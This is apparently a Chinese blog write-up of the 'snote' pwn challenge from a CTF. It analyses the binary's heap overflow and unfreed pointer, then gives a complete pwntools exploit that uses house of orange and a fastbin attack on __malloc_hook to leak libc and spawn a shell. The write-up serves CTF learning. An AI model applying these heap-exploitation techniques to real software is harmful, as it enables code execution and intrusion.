欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

巅峰极客snote

程序员文章站 2022-03-09 20:56:51
...

巅峰极客snote

链接:https://pan.baidu.com/s/1aAb4JjplV-MBj8iQCauI2Q
提取码:977o
复制这段内容后打开百度网盘手机App,操作更方便哦

查看保护&大致逻辑

巅峰极客snote

巅峰极客snote

是一个选单程序,且保护全开

功能分析

1.add

巅峰极客snote

2.show

巅峰极客snote

dword_202014为1,只能泄露一次

3.delete

巅峰极客snote

dword_202010只能free一次,且free之后指针没有置0

4.edit

巅峰极客snote

edit部分存在溢出 8个字节大小

利用思路

1.首先利用edit溢出覆盖TOPchunk

2.使用house of orange修改的Topchunk 必须要实现内存对齐机制。(即最后三位为0)

在这里我开辟了一个0x24大小的堆之后,便覆盖Topchunk,但为了 满足内存对齐机制覆盖最小的值为0xfe1

巅峰极客snote

3.之后分配一个内存大于0xfe0的内存,topchunk无法满足分配的内存大小,堆以brk的形式拓展,topchunk会被置入unsorted bin中

巅峰极客snote

4.之后再分配一段内存,该内存从unsortedbin中切割,据此我们可以从中泄露出main_arena的地址,以泄露main_arena的地址,从而获取libc版本和基地址

巅峰极客snote

5.之后将这个指针删除,再edit这个指针的fd为main_arena-0x33。之后分配第二次内存,之后分配到malloc_hook附近 最后再malloc_hook处写上one_gadget即可拿到shell

exp


# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'

p = process("./geekpwn")

# ptr 0x202010 
def add(size,data):
    p.recvuntil("Your choice > ")
    p.sendline("1")
    p.recvuntil("Size > ")
    p.sendline(str(size))
    p.recvuntil("Content > \n")
    p.send(data)
    
def show():
    p.recvuntil("Your choice > ")
    p.sendline("2")

def delete():
    p.recvuntil("Your choice > ")
    p.sendline("3")
    
def edit(size,data):
    p.recvuntil("Your choice > ")
    p.sendline("4")
    p.recvuntil("Size > ")
    p.sendline(str(size))
    p.recvuntil("Content > \n")
    p.send(data)

p.recvuntil("What's your name?\n")
p.sendline("test")
add(24,'b'*4)
data = 'b'*24 + p32(0x0fe1)#修改chunk大小
edit(28,data)
add(4080,'a'*8)
#gdb.attach(p,"b *$rebase(0xf63)")
#delete()
#gdb.attach(p,"b *$rebase(0xf63)")

add(104,'1'*8)
#gdb.attach(p,"b *$rebase(0xf63)")

show()
p.recvuntil("1"*8)
main_arena = u64(p.recv(6) + '\x00\x00') - 1640
fake_bin = main_arena - 0x33
libc = main_arena - 0x3c4b20
g_level='debug'
success("main_arena: "+hex(main_arena))
success("libc is : "+hex(libc))
delete()
edit(16,p64(fake_bin) + p64(0))
add(104,'2'*8)
one = libc + 0xf02a4 # 0x4526a #0xf02a4 #0xf1147

shellcode = "q"*19 + p64(one)
add(104,shellcode)
success("one: "+hex(one))

p.sendline("1")
p.recvuntil("Size > ")
p.sendline('100')
p.interactive()